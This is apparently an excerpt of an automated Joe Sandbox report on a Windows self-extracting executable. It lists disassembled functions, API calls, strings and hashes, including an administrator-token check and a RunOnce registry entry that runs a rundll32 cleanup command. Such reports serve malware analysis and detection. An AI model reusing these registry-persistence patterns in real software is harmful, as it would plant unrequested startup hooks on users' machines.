Part of subcall function 0036681F: RegOpenKeyExA.ADVAPI32(80000001,Control Panel\Desktop\ResourceLocale,00000000,00020019,?), ref: 003668CC
Part of subcall function 0036681F: RegQueryValueExA.ADVAPI32(?,00361140,00000000,?,?,0000000C), ref: 003668F4
Part of subcall function 0036681F: RegCloseKey.ADVAPI32(?), ref: 00366902

Strings

valid, xrefs: 00364545, 0036465A
LoadString() Error. Could not load string resource., xrefs: 003644E4

Memory Dump Source

Source File: 00000003.00000002.2450577687.0000000000361000.00000020.00000001.01000000.00000005.sdmp, Offset: 00360000, based on PE: true

Associated: 00000003.00000002.2450539985.0000000000360000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000003.00000002.2450636648.0000000000368000.00000004.00000001.01000000.00000005.sdmpDownload File
Associated: 00000003.00000002.2450674896.000000000036A000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000003.00000002.2450674896.000000000036C000.00000002.00000001.01000000.00000005.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_360000_h0i46.jbxd

Similarity

API ID: Local$AllocMessage$BeepCloseFreeLoadMetricsOpenQueryStringSystemValueVersion
String ID: LoadString() Error. Could not load string resource.$valid
API String ID: 3244514340-303183264
Opcode ID: 131bb257c379c72168f64cb0b83b9d4b4d344adff0480e409bddae8e46180e98
Instruction ID: 8b17b1fb0de2dc2fdc22758e9a9c446e6ea6e8a131d2a7bc00d09174975820da
Opcode Fuzzy Hash: 131bb257c379c72168f64cb0b83b9d4b4d344adff0480e409bddae8e46180e98
Instruction Fuzzy Hash: 1E51D372900219AFDB239F28CC49BAA7B69EF46304F15C195FD0AB7249DB719D05CB60

Function 00362773 Relevance: 17.6, APIs: 9, Strings: 1, Instructions: 114registryCOMMON

Download Yara Rule

APIs

CharUpperA.USER32(119C2379,00000000,00000000,00000000), ref: 003627A8
CharNextA.USER32(0000054D), ref: 003627B5
CharNextA.USER32(00000000), ref: 003627BC
RegOpenKeyExA.ADVAPI32(80000002,?,00000000,00020019,?,?,?,Software\Microsoft\Windows\CurrentVersion\App Paths), ref: 00362829
RegQueryValueExA.ADVAPI32(?,00361140,00000000,?,-00000005,?,?,Software\Microsoft\Windows\CurrentVersion\App Paths), ref: 00362852
ExpandEnvironmentStringsA.KERNEL32(-00000005,?,00000104,?,Software\Microsoft\Windows\CurrentVersion\App Paths), ref: 00362870
RegCloseKey.ADVAPI32(?,?,Software\Microsoft\Windows\CurrentVersion\App Paths), ref: 003628A0
GetWindowsDirectoryA.KERNEL32(-00000005,00000104), ref: 003628AA
GetSystemDirectoryA.KERNEL32(-00000005,00000104), ref: 003628B9

Strings

Software\Microsoft\Windows\CurrentVersion\App Paths, xrefs: 003627E4

Memory Dump Source

Source File: 00000003.00000002.2450577687.0000000000361000.00000020.00000001.01000000.00000005.sdmp, Offset: 00360000, based on PE: true

Associated: 00000003.00000002.2450539985.0000000000360000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000003.00000002.2450636648.0000000000368000.00000004.00000001.01000000.00000005.sdmpDownload File
Associated: 00000003.00000002.2450674896.000000000036A000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000003.00000002.2450674896.000000000036C000.00000002.00000001.01000000.00000005.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_360000_h0i46.jbxd

Similarity

API ID: Char$DirectoryNext$CloseEnvironmentExpandOpenQueryStringsSystemUpperValueWindows
String ID: Software\Microsoft\Windows\CurrentVersion\App Paths
API String ID: 2659952014-2428544900
Opcode ID: 4aafe143695ae3642fa1ace425f38e9cc8de2e00e988740e023e6d0d891922fe
Instruction ID: 6633a2d0cdb0749ef4449efbe8bef943a88fc29d5108c844a158509e902ac751
Opcode Fuzzy Hash: 4aafe143695ae3642fa1ace425f38e9cc8de2e00e988740e023e6d0d891922fe
Instruction Fuzzy Hash: 6D41B571E0052CAFDB269B64DC85AEB7BBDEF15700F0580A9F545E3108DBB08E858FA1

Function 00362267 Relevance: 17.6, APIs: 6, Strings: 4, Instructions: 88registryCOMMON

Download Yara Rule

APIs

RegOpenKeyExA.ADVAPI32(80000002,Software\Microsoft\Windows\CurrentVersion\RunOnce,00000000,0002001F,?,00000001), ref: 003622A3
RegQueryValueExA.ADVAPI32(?,wextract_cleanup2,00000000,00000000,?,?,00000001), ref: 003622D8
memset.MSVCRT ref: 003622F5
GetSystemDirectoryA.KERNEL32(?,00000104), ref: 00362305
RegSetValueExA.ADVAPI32(?,wextract_cleanup2,00000000,00000001,?,?,?,?,?,?,?,?,?), ref: 0036236E
RegCloseKey.ADVAPI32(?), ref: 0036237A

Strings

wextract_cleanup2, xrefs: 0036227C, 003622CD, 00362363
rundll32.exe %sadvpack.dll,DelNodeRunDLL32 "%s", xrefs: 0036232D
Software\Microsoft\Windows\CurrentVersion\RunOnce, xrefs: 00362299
C:\Users\user\AppData\Local\Temp\IXP002.TMP\, xrefs: 00362321

Memory Dump Source

Source File: 00000003.00000002.2450577687.0000000000361000.00000020.00000001.01000000.00000005.sdmp, Offset: 00360000, based on PE: true

Associated: 00000003.00000002.2450539985.0000000000360000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000003.00000002.2450636648.0000000000368000.00000004.00000001.01000000.00000005.sdmpDownload File
Associated: 00000003.00000002.2450674896.000000000036A000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000003.00000002.2450674896.000000000036C000.00000002.00000001.01000000.00000005.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_360000_h0i46.jbxd

Similarity

API ID: Value$CloseDirectoryOpenQuerySystemmemset
String ID: C:\Users\user\AppData\Local\Temp\IXP002.TMP\$Software\Microsoft\Windows\CurrentVersion\RunOnce$rundll32.exe %sadvpack.dll,DelNodeRunDLL32 "%s"$wextract_cleanup2
API String ID: 3027380567-1417727283
Opcode ID: 3e71d884208d47b74ac415d1db598ee5d1ed32ef592a7e6c337d9f236d1d6f85
Instruction ID: 03a71a14585bb400421626a35e79f1edbc195d7a4a54c8a49818dfd11531a2b8
Opcode Fuzzy Hash: 3e71d884208d47b74ac415d1db598ee5d1ed32ef592a7e6c337d9f236d1d6f85
Instruction Fuzzy Hash: E431C571A00218ABDB239B51DC49FEB7B7CEB19740F0441A9F50DAA154EB75AF88CE50

Function 00363100 Relevance: 17.6, APIs: 9, Strings: 1, Instructions: 70windowCOMMON

Download Yara Rule

APIs

EndDialog.USER32(?,00000000), ref: 0036313B
GetDesktopWindow.USER32 ref: 0036314B
SetDlgItemTextA.USER32(?,00000834), ref: 0036316A
SetWindowTextA.USER32(?,valid), ref: 00363176
SetForegroundWindow.USER32(?), ref: 0036317D
GetDlgItem.USER32(?,00000834), ref: 00363185
GetWindowLongA.USER32(00000000,000000FC), ref: 00363190
SetWindowLongA.USER32(00000000,000000FC,003630C0), ref: 003631A3
SendDlgItemMessageA.USER32(?,00000834,000000B1,000000FF,00000000), ref: 003631CA

Strings

valid, xrefs: 00363170

Memory Dump Source

Source File: 00000003.00000002.2450577687.0000000000361000.00000020.00000001.01000000.00000005.sdmp, Offset: 00360000, based on PE: true

Associated: 00000003.00000002.2450539985.0000000000360000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000003.00000002.2450636648.0000000000368000.00000004.00000001.01000000.00000005.sdmpDownload File
Associated: 00000003.00000002.2450674896.000000000036A000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000003.00000002.2450674896.000000000036C000.00000002.00000001.01000000.00000005.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_360000_h0i46.jbxd

Similarity

API ID: Window$Item$LongText$DesktopDialogForegroundMessageSend
String ID: valid
API String ID: 3785188418-2349282815
Opcode ID: 7f1f36f317423ddedc5b2a22446b66a80b8144aa9c71fa0ca24aba00685286b4
Instruction ID: 814d9cdf279ff8837620c0d9da8044af34c869fd3e1403cfa10aa470131dd308
Opcode Fuzzy Hash: 7f1f36f317423ddedc5b2a22446b66a80b8144aa9c71fa0ca24aba00685286b4
Instruction Fuzzy Hash: 8F11D331644651BBDB136F249C0CBAA3A6CFB4B720F11C611F916E21E4DBF49A41DB52

Function 003618A3 Relevance: 16.6, APIs: 11, Instructions: 112memoryCOMMON

Download Yara Rule

APIs

Part of subcall function 003617EE: LoadLibraryA.KERNEL32(advapi32.dll,00000002,?,00000000,?,?,?,003618DD), ref: 0036181A
Part of subcall function 003617EE: GetProcAddress.KERNEL32(00000000,CheckTokenMembership), ref: 0036182C
Part of subcall function 003617EE: AllocateAndInitializeSid.ADVAPI32(003618DD,00000002,00000020,00000220,00000000,00000000,00000000,00000000,00000000,00000000,?,?,?,?,003618DD), ref: 00361855
Part of subcall function 003617EE: FreeSid.ADVAPI32(?,?,?,?,003618DD), ref: 00361883
Part of subcall function 003617EE: FreeLibrary.KERNEL32(00000000,?,?,?,003618DD), ref: 0036188A

GetCurrentProcess.KERNEL32(00000008,?,00000000,00000001), ref: 003618EB
OpenProcessToken.ADVAPI32(00000000), ref: 003618F2
GetTokenInformation.ADVAPI32(?,00000002,00000000,00000000,?), ref: 0036190A
GetLastError.KERNEL32 ref: 00361918
LocalAlloc.KERNEL32(00000000,?,?), ref: 0036192C
GetTokenInformation.ADVAPI32(?,00000002,00000000,?,?), ref: 00361944
AllocateAndInitializeSid.ADVAPI32(?,00000002,00000020,00000220,00000000,00000000,00000000,00000000,00000000,00000000,?), ref: 00361964
EqualSid.ADVAPI32(00000004,?), ref: 0036197A
FreeSid.ADVAPI32(?), ref: 0036199C
LocalFree.KERNEL32(00000000), ref: 003619A3
CloseHandle.KERNEL32(?), ref: 003619AD

Memory Dump Source

Source File: 00000003.00000002.2450577687.0000000000361000.00000020.00000001.01000000.00000005.sdmp, Offset: 00360000, based on PE: true

Associated: 00000003.00000002.2450539985.0000000000360000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000003.00000002.2450636648.0000000000368000.00000004.00000001.01000000.00000005.sdmpDownload File
Associated: 00000003.00000002.2450674896.000000000036A000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000003.00000002.2450674896.000000000036C000.00000002.00000001.01000000.00000005.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_360000_h0i46.jbxd

Similarity

API ID: Free$Token$AllocateInformationInitializeLibraryLocalProcess$AddressAllocCloseCurrentEqualErrorHandleLastLoadOpenProc
String ID:
API String ID: 2168512254-0
Opcode ID: fde13adced9763ed9afc1d58689a470768698823d83782735f3bcdf703a9c35a
Instruction ID: f0099dcb06d9d803d6239d82b718e284c57d94de9428894d9b750727508d03d9
Opcode Fuzzy Hash: fde13adced9763ed9afc1d58689a470768698823d83782735f3bcdf703a9c35a
Instruction Fuzzy Hash: DD316F71A00609AFDB22DFA5DC58ABFBBFCFF09304F148429E545E2164DBB09905CBA1

Function 00366298 Relevance: 12.3, APIs: 5, Strings: 2, Instructions: 90COMMON

Download Yara Rule

APIs

Part of subcall function 0036171E: _vsnprintf.MSVCRT ref: 00361750

LoadResource.KERNEL32(00000000,00000000,?,?,00000002,00000000,?,003651CA,00000004,00000024,00362F71,?,00000002,00000000), ref: 003662CD
LockResource.KERNEL32(00000000,?,?,00000002,00000000,?,003651CA,00000004,00000024,00362F71,?,00000002,00000000), ref: 003662D4
FreeResource.KERNEL32(00000000,?,?,00000002,00000000,?,003651CA,00000004,00000024,00362F71,?,00000002,00000000), ref: 0036631B
FindResourceA.KERNEL32(00000000,00000004,0000000A), ref: 00366345
FreeResource.KERNEL32(00000000,?,?,00000002,00000000,?,003651CA,00000004,00000024,00362F71,?,00000002,00000000), ref: 00366357

Strings

@"v, xrefs: 003662CD
UPDFILE%lu, xrefs: 003662B3, 00366329

Memory Dump Source

Source File: 00000003.00000002.2450577687.0000000000361000.00000020.00000001.01000000.00000005.sdmp, Offset: 00360000, based on PE: true

Associated: 00000003.00000002.2450539985.0000000000360000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000003.00000002.2450636648.0000000000368000.00000004.00000001.01000000.00000005.sdmpDownload File
Associated: 00000003.00000002.2450674896.000000000036A000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000003.00000002.2450674896.000000000036C000.00000002.00000001.01000000.00000005.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_360000_h0i46.jbxd

Similarity

API ID: Resource$Free$FindLoadLock_vsnprintf
String ID: @"v$UPDFILE%lu
API String ID: 2922116661-1900290011
Opcode ID: 5e9e2c9815dca6ab316e9e1f987a9d29eb90e60f326faee6723cbc7c29b5efe7
Instruction ID: 6d8a2c827d3b9d236bcf37a9da5d94e9f210c4ae80deafebafee2d2b95037099
Opcode Fuzzy Hash: 5e9e2c9815dca6ab316e9e1f987a9d29eb90e60f326faee6723cbc7c29b5efe7
Instruction Fuzzy Hash: A8213535A00619ABCB129F64CC469FFBB7CFF49740F148129F902A7210DB758D028BE0

Function 0036681F Relevance: 12.3, APIs: 5, Strings: 2, Instructions: 81registryCOMMON

Download Yara Rule

APIs

GetVersionExA.KERNEL32(?,00000000,00000002), ref: 0036686E
GetSystemMetrics.USER32(0000004A), ref: 003668A7
RegOpenKeyExA.ADVAPI32(80000001,Control Panel\Desktop\ResourceLocale,00000000,00020019,?), ref: 003668CC
RegQueryValueExA.ADVAPI32(?,00361140,00000000,?,?,0000000C), ref: 003668F4
RegCloseKey.ADVAPI32(?), ref: 00366902

Part of subcall function 003666F9: CharNextA.USER32(?,00000001,00000000,00000000,?,?,?,0036691A), ref: 00366741

Strings

;F6, xrefs: 00366940
Control Panel\Desktop\ResourceLocale, xrefs: 003668C2

Memory Dump Source

Source File: 00000003.00000002.2450577687.0000000000361000.00000020.00000001.01000000.00000005.sdmp, Offset: 00360000, based on PE: true

Associated: 00000003.00000002.2450539985.0000000000360000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000003.00000002.2450636648.0000000000368000.00000004.00000001.01000000.00000005.sdmpDownload File
Associated: 00000003.00000002.2450674896.000000000036A000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000003.00000002.2450674896.000000000036C000.00000002.00000001.01000000.00000005.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_360000_h0i46.jbxd

Similarity

API ID: CharCloseMetricsNextOpenQuerySystemValueVersion
String ID: ;F6$Control Panel\Desktop\ResourceLocale
API String ID: 3346862599-3509196891
Opcode ID: 892ac514e2e19618956150f524c15f007188161789fe291c54ccaecd1f44686e
Instruction ID: 269a4e343d28cda9f0ae895cae171690e636e016729e5a083e9fbe2fbe449ce5
Opcode Fuzzy Hash: 892ac514e2e19618956150f524c15f007188161789fe291c54ccaecd1f44686e
Instruction Fuzzy Hash: 42318131A002189FDF33CB11CC06BAAB7BCEB857A8F0181A5ED49B6144DB709D85CF92

Function 003617EE Relevance: 12.3, APIs: 5, Strings: 2, Instructions: 71librarymemoryloaderCOMMON

Download Yara Rule

APIs

LoadLibraryA.KERNEL32(advapi32.dll,00000002,?,00000000,?,?,?,003618DD), ref: 0036181A
GetProcAddress.KERNEL32(00000000,CheckTokenMembership), ref: 0036182C
AllocateAndInitializeSid.ADVAPI32(003618DD,00000002,00000020,00000220,00000000,00000000,00000000,00000000,00000000,00000000,?,?,?,?,003618DD), ref: 00361855
FreeSid.ADVAPI32(?,?,?,?,003618DD), ref: 00361883
FreeLibrary.KERNEL32(00000000,?,?,?,003618DD), ref: 0036188A

Strings

advapi32.dll, xrefs: 00361810
CheckTokenMembership, xrefs: 00361826

Memory Dump Source

Source File: 00000003.00000002.2450577687.0000000000361000.00000020.00000001.01000000.00000005.sdmp, Offset: 00360000, based on PE: true

Associated: 00000003.00000002.2450539985.0000000000360000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000003.00000002.2450636648.0000000000368000.00000004.00000001.01000000.00000005.sdmpDownload File
Associated: 00000003.00000002.2450674896.000000000036A000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000003.00000002.2450674896.000000000036C000.00000002.00000001.01000000.00000005.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_360000_h0i46.jbxd

Similarity

API ID: FreeLibrary$AddressAllocateInitializeLoadProc
String ID: CheckTokenMembership$advapi32.dll
API String ID: 4204503880-1888249752
Opcode ID: 3c453e94d339a83832398f879c1c2aaa704f2f962ede5edd984c667079acf016
Instruction ID: 37165dcf92f35b6686021b861098374c9d24893873d840d893c08d024ca3ee6f
Opcode Fuzzy Hash: 3c453e94d339a83832398f879c1c2aaa704f2f962ede5edd984c667079acf016
Instruction Fuzzy Hash: 64118671E00209AFDB129FA4DC49ABEBB7CEF48701F158569FA05F3290DBB09D048B91

Function 00363450 Relevance: 12.3, APIs: 6, Strings: 1, Instructions: 51COMMON

Download Yara Rule

APIs

EndDialog.USER32(?,?), ref: 00363490
GetDesktopWindow.USER32 ref: 0036349A
SetWindowTextA.USER32(?,valid), ref: 003634B2
SetDlgItemTextA.USER32(?,00000838), ref: 003634C4
SetForegroundWindow.USER32(?), ref: 003634CB
EndDialog.USER32(?,00000002), ref: 003634D8

Strings

valid, xrefs: 003634AC

Memory Dump Source

Source File: 00000003.00000002.2450577687.0000000000361000.00000020.00000001.01000000.00000005.sdmp, Offset: 00360000, based on PE: true

Associated: 00000003.00000002.2450539985.0000000000360000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000003.00000002.2450636648.0000000000368000.00000004.00000001.01000000.00000005.sdmpDownload File
Associated: 00000003.00000002.2450674896.000000000036A000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000003.00000002.2450674896.000000000036C000.00000002.00000001.01000000.00000005.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_360000_h0i46.jbxd

Similarity

API ID: Window$DialogText$DesktopForegroundItem
String ID: valid
API String ID: 852535152-2349282815
Opcode ID: 9bb900693eaaad850baa55aea045c9cc5f4b24c80cca62173303e7f93209aad8
Instruction ID: f2b100ed480bbf4fb54836e517db8048ac7577b328b4531164843b0325d2d7a5
Opcode Fuzzy Hash: 9bb900693eaaad850baa55aea045c9cc5f4b24c80cca62173303e7f93209aad8
Instruction Fuzzy Hash: DB01D431640514ABC7175F66DC0C96DBB6CEB06700F12C011F947969A8CFB09F51CB81

Function 00362AAC Relevance: 12.1, APIs: 8, Instructions: 118COMMON

Download Yara Rule

APIs

GetModuleFileNameA.KERNEL32(?,00000104,00000000,00000000,?), ref: 00362AE6
IsDBCSLeadByte.KERNEL32(00000000), ref: 00362AF2
CharNextA.USER32(?), ref: 00362B12
CharUpperA.USER32 ref: 00362B1E
CharPrevA.USER32(?,?), ref: 00362B55
CharNextA.USER32(?), ref: 00362BD4

Memory Dump Source

Source File: 00000003.00000002.2450577687.0000000000361000.00000020.00000001.01000000.00000005.sdmp, Offset: 00360000, based on PE: true

Associated: 00000003.00000002.2450539985.0000000000360000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000003.00000002.2450636648.0000000000368000.00000004.00000001.01000000.00000005.sdmpDownload File
Associated: 00000003.00000002.2450674896.000000000036A000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000003.00000002.2450674896.000000000036C000.00000002.00000001.01000000.00000005.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_360000_h0i46.jbxd

Similarity

API ID: Char$Next$ByteFileLeadModuleNamePrevUpper
String ID:
API String ID: 571164536-0
Opcode ID: 68a4a2f07a49637e65b0fabdc069fe73a3bb24068621099e77b1eb9a19eee93e
Instruction ID: a6feb4a1bccc9bf3b65a4f53e0d1cc30450660cf2d0f514374df6b6649c16197
Opcode Fuzzy Hash: 68a4a2f07a49637e65b0fabdc069fe73a3bb24068621099e77b1eb9a19eee93e
Instruction Fuzzy Hash: A2411434608A455EDB179F348C14AFE7BADDF57300F0A809AE8C297206DBB54E86CB61

Function 003628E8 Relevance: 10.6, APIs: 5, Strings: 1, Instructions: 140memoryCOMMON

Download Yara Rule

APIs

GlobalFree.KERNEL32(00000000), ref: 00362A6F

Part of subcall function 00362773: CharUpperA.USER32(119C2379,00000000,00000000,00000000), ref: 003627A8
Part of subcall function 00362773: CharNextA.USER32(0000054D), ref: 003627B5
Part of subcall function 00362773: CharNextA.USER32(00000000), ref: 003627BC
Part of subcall function 00362773: RegOpenKeyExA.ADVAPI32(80000002,?,00000000,00020019,?,?,?,Software\Microsoft\Windows\CurrentVersion\App Paths), ref: 00362829
Part of subcall function 00362773: RegQueryValueExA.ADVAPI32(?,00361140,00000000,?,-00000005,?,?,Software\Microsoft\Windows\CurrentVersion\App Paths), ref: 00362852
Part of subcall function 00362773: ExpandEnvironmentStringsA.KERNEL32(-00000005,?,00000104,?,Software\Microsoft\Windows\CurrentVersion\App Paths), ref: 00362870
Part of subcall function 00362773: RegCloseKey.ADVAPI32(?,?,Software\Microsoft\Windows\CurrentVersion\App Paths), ref: 003628A0

GlobalAlloc.KERNEL32(00000042,00000000,?,?,?,?,?,?,?,?,00363938,?,?,?,?,-00000005), ref: 00362958
GlobalLock.KERNEL32(00000000), ref: 00362969
GlobalUnlock.KERNEL32(00000000), ref: 00362A21
GlobalUnlock.KERNEL32(00000000), ref: 00362A81

Strings

896, xrefs: 0036293D, 0036297E, 00362940

Memory Dump Source

Source File: 00000003.00000002.2450577687.0000000000361000.00000020.00000001.01000000.00000005.sdmp, Offset: 00360000, based on PE: true

Associated: 00000003.00000002.2450539985.0000000000360000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000003.00000002.2450636648.0000000000368000.00000004.00000001.01000000.00000005.sdmpDownload File
Associated: 00000003.00000002.2450674896.000000000036A000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000003.00000002.2450674896.000000000036C000.00000002.00000001.01000000.00000005.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_360000_h0i46.jbxd

Similarity

API ID: Global$Char$NextUnlock$AllocCloseEnvironmentExpandFreeLockOpenQueryStringsUpperValue
String ID: 896
API String ID: 3949799724-336033049
Opcode ID: 518aacd258be2b93b7a62bc1571559d82298d3d8c695a066dc2449d473ba2820
Instruction ID: a6237d8fca2d92fda402d268196c79b0e3301add2e2cf251e0c88255c2df6619
Opcode Fuzzy Hash: 518aacd258be2b93b7a62bc1571559d82298d3d8c695a066dc2449d473ba2820
Instruction Fuzzy Hash: 73512A31D00619DBCB22CF98C884AAEBBB9FF48700F16802AE905E7215DB719951DF94

Function 003643D0 Relevance: 10.6, APIs: 7, Instructions: 97COMMON

Download Yara Rule

APIs

GetWindowRect.USER32(?,?), ref: 003643F1
GetWindowRect.USER32(00000000,?), ref: 0036440B
GetDC.USER32(?), ref: 00364423
GetDeviceCaps.GDI32(00000000,00000008), ref: 0036442E
GetDeviceCaps.GDI32(00000000,0000000A), ref: 0036443A
ReleaseDC.USER32(?,00000000), ref: 00364447
SetWindowPos.USER32(?,00000000,?,?,00000000,00000000,00000005,?,00000001), ref: 003644A2

Memory Dump Source

Source File: 00000003.00000002.2450577687.0000000000361000.00000020.00000001.01000000.00000005.sdmp, Offset: 00360000, based on PE: true

Associated: 00000003.00000002.2450539985.0000000000360000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000003.00000002.2450636648.0000000000368000.00000004.00000001.01000000.00000005.sdmpDownload File
Associated: 00000003.00000002.2450674896.000000000036A000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000003.00000002.2450674896.000000000036C000.00000002.00000001.01000000.00000005.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_360000_h0i46.jbxd

Similarity

API ID: Window$CapsDeviceRect$Release
String ID:
API String ID: 2212493051-0
Opcode ID: f04c5d78ecb55614dd388e02fe6ab763fed6e989cc23c56a3ece1513a0de3ac2
Instruction ID: 9c41bc2c42aae13e7ce0635399dc3af384e9e50c66905b765217a3261799554b
Opcode Fuzzy Hash: f04c5d78ecb55614dd388e02fe6ab763fed6e989cc23c56a3ece1513a0de3ac2
Instruction Fuzzy Hash: E9315071E00519AFCB16CFB8DD499EEBBB9EB89310F158169F805F3244DA70AC05CB60

Function 00366517 Relevance: 10.6, APIs: 4, Strings: 2, Instructions: 51COMMON

Download Yara Rule

APIs

FindResourceA.KERNEL32(00360000,000007D6,00000005), ref: 0036652A
LoadResource.KERNEL32(00360000,00000000,?,?,00362EE8,00000000,003619E0,00000547,0000083E,?,?,?,?,?,?,?), ref: 00366538
DialogBoxIndirectParamA.USER32(00360000,00000000,00000547,003619E0,00000000), ref: 00366557
FreeResource.KERNEL32(00000000,?,?,00362EE8,00000000,003619E0,00000547,0000083E,?,?,?,?,?,?,?,00000002), ref: 00366560

Strings

@"v, xrefs: 00366538
.6, xrefs: 0036657C

Memory Dump Source

Source File: 00000003.00000002.2450577687.0000000000361000.00000020.00000001.01000000.00000005.sdmp, Offset: 00360000, based on PE: true

Associated: 00000003.00000002.2450539985.0000000000360000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000003.00000002.2450636648.0000000000368000.00000004.00000001.01000000.00000005.sdmpDownload File
Associated: 00000003.00000002.2450674896.000000000036A000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000003.00000002.2450674896.000000000036C000.00000002.00000001.01000000.00000005.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_360000_h0i46.jbxd

Similarity

API ID: Resource$DialogFindFreeIndirectLoadParam
String ID: @"v$.6
API String ID: 1214682469-2010507694
Opcode ID: def0fb16ec1188e677025eecc93fe4fcfbbc2949504fe25396ca83ac8bcda524
Instruction ID: 296526a8f1b27a19cf7d4394c1add4f1201c250d937e10e33e40f2d965a57842
Opcode Fuzzy Hash: def0fb16ec1188e677025eecc93fe4fcfbbc2949504fe25396ca83ac8bcda524
Instruction Fuzzy Hash: BC012B72100515BBCB125F599C0ADBB7A6CEB863A0F018115FF01E3154D7B18C108AB1

Function 003624E0 Relevance: 10.6, APIs: 5, Strings: 1, Instructions: 50COMMON

Download Yara Rule

APIs

GetWindowsDirectoryA.KERNEL32(?,00000104,00000000,00000000), ref: 00362506
WritePrivateProfileStringA.KERNEL32(00000000,00000000,00000000,?), ref: 0036252C
_lopen.KERNEL32(?,00000040), ref: 0036253B
_llseek.KERNEL32(00000000,00000000,00000002), ref: 0036254C
_lclose.KERNEL32(00000000), ref: 00362555

Strings

wininit.ini, xrefs: 00362510

Memory Dump Source

Source File: 00000003.00000002.2450577687.0000000000361000.00000020.00000001.01000000.00000005.sdmp, Offset: 00360000, based on PE: true

Associated: 00000003.00000002.2450539985.0000000000360000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000003.00000002.2450636648.0000000000368000.00000004.00000001.01000000.00000005.sdmpDownload File
Associated: 00000003.00000002.2450674896.000000000036A000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000003.00000002.2450674896.000000000036C000.00000002.00000001.01000000.00000005.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_360000_h0i46.jbxd

Similarity

API ID: DirectoryPrivateProfileStringWindowsWrite_lclose_llseek_lopen
String ID: wininit.ini
API String ID: 3273605193-4206010578
Opcode ID: 6b43215eba39c4e150a29422dcd0d4c840e48fe10c088fb22d3ddc40ac0c687f
Instruction ID: 98e5844ae5d52e7413ad30efa80110eeace5e668b3312347bc836def825b6577
Opcode Fuzzy Hash: 6b43215eba39c4e150a29422dcd0d4c840e48fe10c088fb22d3ddc40ac0c687f
Instruction Fuzzy Hash: E901D8326005187BC721AB65DC0DEDFBB7CDB46750F018155FA49E3194DEB48E45CE91

Function 003636EE Relevance: 9.0, APIs: 3, Strings: 2, Instructions: 243windowCOMMON

Download Yara Rule

APIs

GetVersionExA.KERNEL32(?,00000000,?,?), ref: 00363723
MessageBeep.USER32(00000000), ref: 003639C3
MessageBoxA.USER32(00000000,00000000,valid,00000030), ref: 003639F1

Strings

valid, xrefs: 003639E9, 00363A19
3, xrefs: 00363785

Memory Dump Source

Source File: 00000003.00000002.2450577687.0000000000361000.00000020.00000001.01000000.00000005.sdmp, Offset: 00360000, based on PE: true

Associated: 00000003.00000002.2450539985.0000000000360000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000003.00000002.2450636648.0000000000368000.00000004.00000001.01000000.00000005.sdmpDownload File
Associated: 00000003.00000002.2450674896.000000000036A000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000003.00000002.2450674896.000000000036C000.00000002.00000001.01000000.00000005.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_360000_h0i46.jbxd

Similarity

API ID: Message$BeepVersion
String ID: 3$valid
API String ID: 2519184315-3539985779
Opcode ID: 0ca38d69a0b0db5ffff64f0fa894ca68274e8a80df203ab718c3bafa29dc7cca
Instruction ID: ae21eb7cc89f9801205d418bb3969fa140dbbd41303dd0a67ca6769a4b914d44
Opcode Fuzzy Hash: 0ca38d69a0b0db5ffff64f0fa894ca68274e8a80df203ab718c3bafa29dc7cca
Instruction Fuzzy Hash: 3091D4B1A012149BDB378F54CD81BEA77B8EB45304F16C1A9D889DB259DBB48F80DF41

Function 00366495 Relevance: 8.8, APIs: 3, Strings: 2, Instructions: 41libraryCOMMON

Download Yara Rule

APIs

GetFileAttributesA.KERNEL32(?,advpack.dll,?,C:\Users\user\AppData\Local\Temp\IXP002.TMP\,?,00000000), ref: 003664DF
LoadLibraryExA.KERNEL32(?,00000000,00000008,?,C:\Users\user\AppData\Local\Temp\IXP002.TMP\,?,00000000), ref: 003664F9
